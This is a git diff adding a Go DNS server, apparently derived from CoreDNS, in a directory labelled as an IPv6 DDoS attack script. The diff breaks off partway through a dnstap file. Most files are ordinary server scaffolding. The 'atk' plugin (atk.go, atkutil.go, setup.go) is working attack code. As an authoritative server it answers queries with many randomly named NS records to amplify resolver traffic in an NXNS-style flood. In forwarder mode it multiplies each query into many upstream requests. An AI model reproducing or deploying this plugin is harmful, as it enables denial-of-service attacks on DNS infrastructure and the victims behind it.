+golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.12.0 h1:cfawfvKITfUsFCeJIHJrbSxpeu/E81khclypR0GVT50=
+golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA=
+golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
+golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4=
+golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
+golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.11.0 h1:EMCa6U9S2LtZXLAMoWiR/R8dAQFRqbAitmbJ2UKhoi8=
+golang.org/x/tools v0.11.0/go.mod h1:anzJrxPjNtfgiYQYirP2CPGzGLxrH2u2QBhn6Bf3qY8=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 h1:DdoeryqhaXp1LtT/emMP1BRJPHHKFi5akj/nbx/zNTA=
+google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s=
+google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag=
+google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8=
+google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
+google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
+google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
+google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
+google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
+google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
+google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
+google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
+google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
+google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/ohmain/run.go b/att script/4(v6 DDoS)/code/辅助权威服务器/ohmain/run.go
new file mode 100644
index 0000000..6639881
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/ohmain/run.go
@@ -0,0 +1,187 @@
+package ohmain
+
+import (
+ "flag"
+ "fmt"
+ "log"
+ "ohmydns2/core/dnsserver"
+ "os"
+ "path/filepath"
+ "runtime"
+ "strings"
+
+ "github.com/coredns/caddy"
+)
+
+func init() {
+ caddy.DefaultConfigFile = "Ohmyfile"
+ caddy.Quiet = true // don't show init stuff from caddy
+ setVersion()
+
+ flag.StringVar(&conf, "conf", "", "Ohmyfile to load (default \""+caddy.DefaultConfigFile+"\")")
+ flag.BoolVar(&plugins, "plugins", false, "List installed plugins")
+ flag.StringVar(&caddy.PidFile, "pidfile", "", "Path to write pid file")
+ flag.BoolVar(&version, "version", false, "Show version")
+ flag.BoolVar(&dnsserver.Quiet, "quiet", false, "Quiet mode (no initialization output)")
+
+ caddy.RegisterCaddyfileLoader("flag", caddy.LoaderFunc(confLoader))
+ caddy.SetDefaultCaddyfileLoader("default", caddy.LoaderFunc(defaultLoader))
+
+ //flag.StringVar(&prober.Port, serverType+".port", prober.DefaultPort, "Default port")
+ //flag.StringVar(&prober.Port, "p", prober.DefaultPort, "Default port")
+
+ caddy.AppName = ohmyName
+ caddy.AppVersion = OMVersion
+}
+
+// ohmydns主函数
+func Run() {
+ caddy.TrapSignals()
+ flag.Parse()
+
+ if len(flag.Args()) > 0 {
+ mustLogFatal(fmt.Errorf("extra command line arguments: %s", flag.Args()))
+ }
+
+ log.SetOutput(os.Stdout)
+ log.SetFlags(0) // Set to 0 because we're doing our own time, with timezone
+
+ if version {
+ showVersion()
+ os.Exit(0)
+ }
+ if plugins {
+ fmt.Println(caddy.DescribePlugins())
+ os.Exit(0)
+ }
+
+ // Get Ohmyfile input
+ ohmyfile, err := caddy.LoadCaddyfile(serverType)
+ if err != nil {
+ mustLogFatal(err)
+ }
+
+ // Start your engines
+ instance, err := caddy.Start(ohmyfile)
+ if err != nil {
+ mustLogFatal(err)
+ }
+
+ if !dnsserver.Quiet {
+ showVersion()
+ }
+
+ // Twiddle your thumbs
+ instance.Wait()
+}
+
+// mustLogFatal wraps log.Fatal() in a way that ensures the
+// output is always printed to stderr so the user can see it
+// if the user is still there, even if the process log was not
+// enabled. If this process is an upgrade, however, and the user
+// might not be there anymore, this just logs to the process
+// log and exits.
+func mustLogFatal(args ...interface{}) {
+ if !caddy.IsUpgrade() {
+ log.SetOutput(os.Stderr)
+ }
+ log.Fatal(args...)
+}
+
+// confLoader loads the Caddyfile using the -conf flag.
+func confLoader(serverType string) (caddy.Input, error) {
+ if conf == "" {
+ return nil, nil
+ }
+
+ if conf == "stdin" {
+ return caddy.CaddyfileFromPipe(os.Stdin, serverType)
+ }
+
+ contents, err := os.ReadFile(filepath.Clean(conf))
+ if err != nil {
+ return nil, err
+ }
+ return caddy.CaddyfileInput{
+ Contents: contents,
+ Filepath: conf,
+ ServerTypeName: serverType,
+ }, nil
+}
+
+// defaultLoader loads the Corefile from the current working directory.
+func defaultLoader(serverType string) (caddy.Input, error) {
+ contents, err := os.ReadFile(caddy.DefaultConfigFile)
+ if err != nil {
+ if os.IsNotExist(err) {
+ return nil, nil
+ }
+ return nil, err
+ }
+ return caddy.CaddyfileInput{
+ Contents: contents,
+ Filepath: caddy.DefaultConfigFile,
+ ServerTypeName: serverType,
+ }, nil
+}
+
+// showVersion prints the version that is starting.
+func showVersion() {
+ fmt.Print(versionString())
+ fmt.Print(releaseString())
+ if devBuild && gitShortStat != "" {
+ fmt.Printf("%s\n%s\n", gitShortStat, gitFilesModified)
+ }
+}
+
+// versionString returns the CoreDNS version as a string.
+func versionString() string {
+ return fmt.Sprintf("%s-%s\n", caddy.AppName, caddy.AppVersion)
+}
+
+// releaseString returns the release information related to CoreDNS version:
+// <OS>/<ARCH>, <go version>, <commit>
+// e.g.,
+// linux/amd64, go1.8.3, a6d2d7b5
+func releaseString() string {
+ return fmt.Sprintf("%s/%s, %s\n", runtime.GOOS, runtime.GOARCH, runtime.Version())
+}
+
+// setVersion figures out the version information
+// based on variables set by -ldflags.
+func setVersion() {
+ // A development build is one that's not at a tag or has uncommitted changes
+ devBuild = gitTag == "" || gitShortStat != ""
+
+ // Only set the appVersion if -ldflags was used
+ if gitNearestTag != "" || gitTag != "" {
+ if devBuild && gitNearestTag != "" {
+ appVersion = fmt.Sprintf("%s (+%s %s)", strings.TrimPrefix(gitNearestTag, "v"), GitCommit, buildDate)
+ } else if gitTag != "" {
+ appVersion = strings.TrimPrefix(gitTag, "v")
+ }
+ }
+}
+
+// Flags that control program flow or startup
+var (
+ conf string
+ version bool
+ plugins bool
+)
+
+// Build information obtained with the help of -ldflags
+var (
+ // nolint
+ appVersion = "(untracked dev build)" // inferred at startup
+ devBuild = true // inferred at startup
+
+ buildDate string // date -u
+ gitTag string // git describe --exact-match HEAD 2> /dev/null
+ gitNearestTag string // git describe --abbrev=0 --tags HEAD
+ gitShortStat string // git diff-index --shortstat
+ gitFilesModified string // git diff-index --name-only HEAD
+
+ // Gitcommit contains the commit where we built CoreDNS from.
+ GitCommit string
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/ohmain/version.go b/att script/4(v6 DDoS)/code/辅助权威服务器/ohmain/version.go
new file mode 100644
index 0000000..904fcae
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/ohmain/version.go
@@ -0,0 +1,7 @@
+package ohmain
+
+const (
+ OMVersion = "2.0.0"
+ ohmyName = "OhmyDNS"
+ serverType = "dns"
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/ohmydns.go b/att script/4(v6 DDoS)/code/辅助权威服务器/ohmydns.go
new file mode 100644
index 0000000..ef9fe88
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/ohmydns.go
@@ -0,0 +1,12 @@
+package main
+
+//go:generate go run plugin_gen.go
+
+import (
+ _ "ohmydns2/core/plug"
+ "ohmydns2/ohmain"
+)
+
+func main() {
+ ohmain.Run()
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin.cfg b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin.cfg
new file mode 100644
index 0000000..03c93b9
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin.cfg
@@ -0,0 +1,9 @@
+log:log
+dnstap:dnstap
+debug:debug
+prometheus:prometheus
+forward:forward
+metadata:metadata
+whoami:whoami
+qname:qname
+atk:atk \ No newline at end of file
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atk.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atk.go
new file mode 100644
index 0000000..b5b6ccb
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atk.go
@@ -0,0 +1,127 @@
+package atk
+
+import (
+ "context"
+ "github.com/miekg/dns"
+ "github.com/thanhpk/randstr"
+ "net"
+ "ohmydns2/plugin/pkg/proxy"
+ "ohmydns2/plugin/pkg/request"
+ "strings"
+)
+
+type Atk struct {
+ proxies []*proxy.Proxy
+ serveType string
+ magni int
+ zoneip4 string
+ zoneip6 string
+ ip6NS string
+ ip4NS string
+ ip6Addr string
+ ip4Addr string
+ target string
+}
+
+func (a Atk) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
+ state := request.Request{W: w, Req: r}
+ // 转发器模式
+ if a.serveType == "fdns" {
+ opt := proxy.Options{ForceTCP: false, PreferUDP: true, HCRecursionDesired: true, HCDomain: "."}
+ for i := a.magni; i > 0; i-- {
+ // 向上游发送查询请求
+ go func() {
+ _, _ = a.proxies[0].Connect(ctx, state, opt)
+ }()
+ }
+ return 0, nil
+ } else {
+ //权威模式
+ msg := new(dns.Msg)
+ msg.SetReply(r)
+ msg.Authoritative = true
+ // 应对0x20
+ qname := strings.ToLower(state.QName())
+ // 请求的源地址
+ switch a.validRequest(qname) {
+ case 0:
+ // 放大
+ log.Infof("%v 查询 %v, 准备放大", state.IP(), state.Name())
+ msg = a.Response(msg, 0)
+
+ case 1:
+ //观察
+ log.Infof("%v 接收到请求: %v ask %v", a.ip6NS, state.IP(), state.Name())
+ msg = a.Response(msg, 1)
+ case -1:
+ log.Infof("%v 接收到被修改的请求(QnameMini): %v ask %v", a.ip6NS, state.IP(), state.Name())
+ msg = a.Response(msg, -1)
+ case 2:
+ //其他请求不响应
+ log.Infof("%v 意外查询 %v", state.IP(), state.Name())
+ return 0, nil
+ }
+
+ err := w.WriteMsg(msg)
+ if err != nil {
+ log.Info(err.Error())
+ return dns.RcodeServerFailure, err
+ }
+ return 0, nil
+ }
+
+}
+
+func (a Atk) Name() string {
+ return "atk"
+}
+
+func (a Atk) Response(msg *dns.Msg, iptype int) *dns.Msg {
+ if iptype == 0 { // 一级放大
+ for i := 0; i < a.magni; i++ {
+ rec := new(dns.NS)
+ rec.Hdr = dns.RR_Header{Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
+ rec.Hdr.Name = msg.Question[0].Name
+ ns := strings.ToLower(randstr.String(10)) + "." + a.zoneip6
+ log.Infof("生成NS: %v", ns)
+ rec.Ns = ns
+ msg.Ns = append(msg.Ns, rec)
+ }
+ } else if iptype == 1 { // 二级放大
+ for i := 0; i < a.magni; i++ {
+ rec := new(dns.NS)
+ rec.Hdr = dns.RR_Header{Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
+ rec.Hdr.Name = msg.Question[0].Name
+ ns := strings.ToLower(randstr.String(10)) + "." + a.zoneip4
+ log.Infof("生成NS: %v", ns)
+ rec.Ns = ns
+ msg.Ns = append(msg.Ns, rec)
+ }
+ } else if iptype == 2 {
+ //返回NXNS
+ msg.Rcode = dns.RcodeNameError
+ //授权记录
+ rec := new(dns.NS)
+ rec.Hdr = dns.RR_Header{Name: a.zoneip6, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
+ rec.Ns = a.ip6NS
+ msg.Ns = append(msg.Ns, rec)
+ //胶水记录
+ recaddr := new(dns.AAAA)
+ recaddr.Hdr = dns.RR_Header{Name: a.ip6NS, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeAAAA}
+ recaddr.AAAA = net.ParseIP(a.ip6Addr)
+ msg.Extra = append(msg.Extra, recaddr)
+ } else {
+ // 特殊请求,返回权威信息
+ //授权记录
+ rec := new(dns.NS)
+ rec.Hdr = dns.RR_Header{Name: a.zoneip6, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
+ rec.Ns = a.ip6NS
+ msg.Ns = append(msg.Ns, rec)
+ //胶水记录
+ recaddr := new(dns.AAAA)
+ recaddr.Hdr = dns.RR_Header{Name: a.ip6NS, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeAAAA}
+ recaddr.AAAA = net.ParseIP(a.ip6Addr)
+ msg.Extra = append(msg.Extra, recaddr)
+ }
+ return msg
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atkutil.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atkutil.go
new file mode 100644
index 0000000..b397fb2
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atkutil.go
@@ -0,0 +1,23 @@
+package atk
+
+import (
+ "strings"
+)
+
+func (a Atk) validRequest(qname string) int {
+ //判断是否为第一阶段目标域名(放大)
+ if strings.Contains(qname, a.zoneip4) {
+ if len(strings.Split(qname, ".")) == 5 {
+ //需要放大
+ return 0
+ }
+ // 请求被修改,返回权威信息
+ return -1
+ }
+ if strings.Contains(qname, a.zoneip6) {
+ //需要放大
+ return 1
+ }
+ // 均不满足,返回权威信息
+ return 2
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atkutil_test.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atkutil_test.go
new file mode 100644
index 0000000..dfe30b0
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atkutil_test.go
@@ -0,0 +1,55 @@
+package atk
+
+import "testing"
+
+func TestAtk_validRequest(t *testing.T) {
+ type fields struct {
+ magni int
+ zoneip4 string
+ zoneip6 string
+ ip6NS string
+ ip4NS string
+ ip6Addr string
+ ip4Addr string
+ }
+ type args struct {
+ qname string
+ }
+ tests := []struct {
+ name string
+ fields fields
+ args args
+ want int
+ }{
+ {name: "test1",
+ fields: fields{
+ magni: 10,
+ zoneip4: "comm.n64.top",
+ zoneip6: "v6.atk.top",
+ ip6NS: "ns.n64.top",
+ ip6Addr: "fe80::",
+ ip4Addr: "1.2.3.4",
+ },
+ args: args{
+ qname: "comm.n64.top",
+ },
+ want: 0,
+ },
+ }
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ a := Atk{
+ magni: tt.fields.magni,
+ zoneip4: tt.fields.zoneip4,
+ zoneip6: tt.fields.zoneip6,
+ ip6NS: tt.fields.ip6NS,
+ ip4NS: tt.fields.ip4NS,
+ ip6Addr: tt.fields.ip6Addr,
+ ip4Addr: tt.fields.ip4Addr,
+ }
+ if got := a.validRequest(tt.args.qname); got != tt.want {
+ t.Errorf("validRequest() = %v, want %v", got, tt.want)
+ }
+ })
+ }
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/setup.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/setup.go
new file mode 100644
index 0000000..4446d71
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/setup.go
@@ -0,0 +1,49 @@
+package atk
+
+import (
+ "github.com/coredns/caddy"
+ "ohmydns2/core/dnsserver"
+ "ohmydns2/plugin"
+ log2 "ohmydns2/plugin/pkg/log"
+ "ohmydns2/plugin/pkg/proxy"
+ "strconv"
+ "time"
+)
+
+func init() { plugin.Register("atk", setup) }
+
+func setup(c *caddy.Controller) error {
+ atk := new(Atk)
+ c.Next()
+ // domain1 domain2 factor
+ args := c.RemainingArgs()
+ // fdns or adns
+ atk.serveType = args[0]
+ if atk.serveType == "fdns" {
+ atk.target = args[1]
+ p := proxy.NewProxy(atk.target+":53", "dns")
+
+ // 开启代理连接管理
+ dur, _ := time.ParseDuration("10s")
+ p.Start(dur)
+ atk.proxies = append(atk.proxies, p)
+ atk.magni, _ = strconv.Atoi(args[2])
+
+ } else {
+ atk.zoneip4 = args[1]
+ atk.ip4NS = args[2]
+ atk.ip4Addr = args[3]
+ atk.zoneip6 = args[4]
+ atk.ip6NS = args[5]
+ atk.ip6Addr = args[6]
+ atk.magni, _ = strconv.Atoi(args[7])
+ }
+
+ dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
+ return atk
+ })
+
+ return nil
+}
+
+var log = log2.NewWithPlugin("atk")
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/debug/debug.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/debug/debug.go
new file mode 100644
index 0000000..3bfa348
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/debug/debug.go
@@ -0,0 +1,23 @@
+package debug
+
+import (
+ "ohmydns2/core/dnsserver"
+ "ohmydns2/plugin"
+
+ "github.com/coredns/caddy"
+)
+
+func init() { plugin.Register("debug", setup) }
+
+func setup(c *caddy.Controller) error {
+ config := dnsserver.GetConfig(c)
+
+ for c.Next() {
+ if c.NextArg() {
+ return plugin.Error("debug", c.ArgErr())
+ }
+ config.Debug = true
+ }
+
+ return nil
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/debug/pcap.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/debug/pcap.go
new file mode 100644
index 0000000..4a86aae
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/debug/pcap.go
@@ -0,0 +1,71 @@
+package debug
+
+import (
+ "bytes"
+ "fmt"
+ "ohmydns2/plugin/pkg/log"
+
+ "github.com/miekg/dns"
+)
+
+// Hexdump converts the dns message m to a hex dump Wireshark can import.
+// See https://www.wireshark.org/docs/man-pages/text2pcap.html.
+// This output looks like this:
+//
+// 00000 dc bd 01 00 00 01 00 00 00 00 00 01 07 65 78 61
+// 000010 6d 70 6c 65 05 6c 6f 63 61 6c 00 00 01 00 01 00
+// 000020 00 29 10 00 00 00 80 00 00 00
+// 00002a
+//
+// Hexdump will use log.Debug to write the dump to the log, each line
+// is prefixed with 'debug: ' so the data can be easily extracted.
+//
+// msg will prefix the pcap dump.
+func Hexdump(m *dns.Msg, v ...interface{}) {
+ if !log.D.Value() {
+ return
+ }
+
+ buf, _ := m.Pack()
+ if len(buf) == 0 {
+ return
+ }
+
+ out := "\n" + string(hexdump(buf))
+ v = append(v, out)
+ log.Debug(v...)
+}
+
+// Hexdumpf dumps a DNS message as Hexdump, but allows a format string.
+func Hexdumpf(m *dns.Msg, format string, v ...interface{}) {
+ if !log.D.Value() {
+ return
+ }
+
+ buf, _ := m.Pack()
+ if len(buf) == 0 {
+ return
+ }
+
+ format += "\n%s"
+ v = append(v, hexdump(buf))
+ log.Debugf(format, v...)
+}
+
+func hexdump(data []byte) []byte {
+ b := new(bytes.Buffer)
+
+ newline := ""
+ for i := 0; i < len(data); i++ {
+ if i%16 == 0 {
+ fmt.Fprintf(b, "%s%s%06x", newline, prefix, i)
+ newline = "\n"
+ }
+ fmt.Fprintf(b, " %02x", data[i])
+ }
+ fmt.Fprintf(b, "\n%s%06x", prefix, len(data))
+
+ return b.Bytes()
+}
+
+const prefix = "debug: "
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/dnstap.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/dnstap.go
new file mode 100644
index 0000000..c3598bc
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/dnstap.go
@@ -0,0 +1,60 @@
+package dnstap
+
+import (
+ "context"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/dnstap/msg"
+ "time"
+
+ tap "github.com/dnstap/golang-dnstap"
+ "github.com/miekg/dns"
+)
+
+// Dnstap is the dnstap handler.
+type Dnstap struct {
+ Next plugin.Handler
+ io tapper
+
+ // IncludeRawMessage will include the raw DNS message into the dnstap messages if true.
+ IncludeRawMessage bool
+ Identity []byte
+ Version []byte
+}
+
+// TapMessage sends the message m to the dnstap interface.
+func (h Dnstap) TapMessage(m *tap.Message) {
+ t := tap.Dnstap_MESSAGE
+ h.io.Dnstap(&tap.Dnstap{Type: &t, Message: m, Identity: h.Identity, Version: h.Version})
+}
+
+func (h Dnstap) tapQuery(w dns.ResponseWriter, query *dns.Msg, queryTime time.Time) {
+ q := new(tap.Message)
+ msg.SetQueryTime(q, queryTime)
+ msg.SetQueryAddress(q, w.RemoteAddr())
+
+ if h.IncludeRawMessage {
+ buf, _ := query.Pack()
+ q.QueryMessage = buf
+ }
+ msg.SetType(q, tap.Message_CLIENT_QUERY)
+ h.TapMessage(q)
+}
+
+// ServeDNS logs the client query and response to dnstap and passes the dnstap Context.
+func (h Dnstap) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
+ rw := &ResponseWriter{
+ ResponseWriter: w,
+ Dnstap: h,
+ query: r,
+ queryTime: time.Now(),
+ }
+
+ // The query tap message should be sent before sending the query to the
+ // forwarder. Otherwise, the tap messages will come out out of order.
+ h.tapQuery(w, r, rw.queryTime)
+
+ return plugin.NextOrFailure(h.Name(), h.Next, ctx, rw, r)
+}
+
+// Name implements the plugin.Plugin interface.
+func (h Dnstap) Name() string { return "dnstap" }
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/encoder.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/encoder.go
new file mode 100644
index 0000000..93d3e73
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/encoder.go
@@ -0,0 +1,40 @@
+package dnstap
+
+import (
+ "io"
+ "time"
+
+ tap "github.com/dnstap/golang-dnstap"
+ fs "github.com/farsightsec/golang-framestream"
+ "google.golang.org/protobuf/proto"
+)
+
+// encoder wraps a golang-framestream.Encoder.
+type encoder struct {
+ fs *fs.Encoder
+}
+
+func newEncoder(w io.Writer, timeout time.Duration) (*encoder, error) {
+ fs, err := fs.NewEncoder(w, &fs.EncoderOptions{
+ ContentType: []byte("protobuf:dnstap.Dnstap"),
+ Bidirectional: true,
+ Timeout: timeout,
+ })
+ if err != nil {
+ return nil, err
+ }
+ return &encoder{fs}, nil
+}
+
+func (e *encoder) writeMsg(msg *tap.Dnstap) error {
+ buf, err := proto.Marshal(msg)
+ if err != nil {
+ return err
+ }
+
+ _, err = e.fs.Write(buf) // n < len(buf) should return an error?
+ return err
+}
+
+func (e *encoder) flush() error { return e.fs.Flush() }
+func (e *encoder) close() error { return e.fs.Close() }
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/io.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/io.go
new file mode 100644
index 0000000..94833ad
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/io.go
@@ -0,0 +1,143 @@
+package dnstap
+
+import (
+ "crypto/tls"
+ "net"
+ "sync/atomic"
+ "time"
+
+ tap "github.com/dnstap/golang-dnstap"
+)
+
+// tapper interface is used in testing to mock the Dnstap method.
+type tapper interface {
+ Dnstap(*tap.Dnstap)
+}
+
+// dio implements the Tapper interface.
+type dio struct {
+ endpoint string
+ proto string
+ enc *encoder
+ queue chan *tap.Dnstap
+ dropped uint32
+ quit chan struct{}
+ flushTimeout time.Duration
+ tcpTimeout time.Duration
+ skipVerify bool
+}
+
+// newIO returns a new and initialized pointer to a dio.
+func newIO(proto, endpoint string) *dio {
+ return &dio{
+ endpoint: endpoint,
+ proto: proto,
+ queue: make(chan *tap.Dnstap, queueSize),
+ quit: make(chan struct{}),
+ flushTimeout: flushTimeout,
+ tcpTimeout: tcpTimeout,
+ skipVerify: skipVerify,
+ }
+}
+
+func (d *dio) dial() error {
+ var conn net.Conn
+ var err error
+
+ if d.proto == "tls" {
+ config := &tls.Config{
+ InsecureSkipVerify: d.skipVerify,
+ }
+ dialer := &net.Dialer{
+ Timeout: d.tcpTimeout,
+ }
+ conn, err = tls.DialWithDialer(dialer, "tcp", d.endpoint, config)
+ if err != nil {
+ return err
+ }
+ } else {
+ conn, err = net.DialTimeout(d.proto, d.endpoint, d.tcpTimeout)
+ if err != nil {
+ return err
+ }
+ }
+
+ if tcpConn, ok := conn.(*net.TCPConn); ok {
+ tcpConn.SetWriteBuffer(tcpWriteBufSize)
+ tcpConn.SetNoDelay(false)
+ }
+
+ d.enc, err = newEncoder(conn, d.tcpTimeout)
+ return err
+}
+
+// Connect connects to the dnstap endpoint.
+func (d *dio) connect() error {
+ err := d.dial()
+ go d.serve()
+ return err
+}
+
+// Dnstap enqueues the payload for log.
+func (d *dio) Dnstap(payload *tap.Dnstap) {
+ select {
+ case d.queue <- payload:
+ default:
+ atomic.AddUint32(&d.dropped, 1)
+ }
+}
+
+// close waits until the I/O routine is finished to return.
+func (d *dio) close() { close(d.quit) }
+
+func (d *dio) write(payload *tap.Dnstap) error {
+ if d.enc == nil {
+ atomic.AddUint32(&d.dropped, 1)
+ return nil
+ }
+ if err := d.enc.writeMsg(payload); err != nil {
+ atomic.AddUint32(&d.dropped, 1)
+ return err
+ }
+ return nil
+}
+
+func (d *dio) serve() {
+ timeout := time.NewTimer(d.flushTimeout)
+ defer timeout.Stop()
+ for {
+ timeout.Reset(d.flushTimeout)
+ select {
+ case <-d.quit:
+ if d.enc == nil {
+ return
+ }
+ d.enc.flush()
+ d.enc.close()
+ return
+ case payload := <-d.queue:
+ if err := d.write(payload); err != nil {
+ d.dial()
+ }
+ case <-timeout.C:
+ if dropped := atomic.SwapUint32(&d.dropped, 0); dropped > 0 {
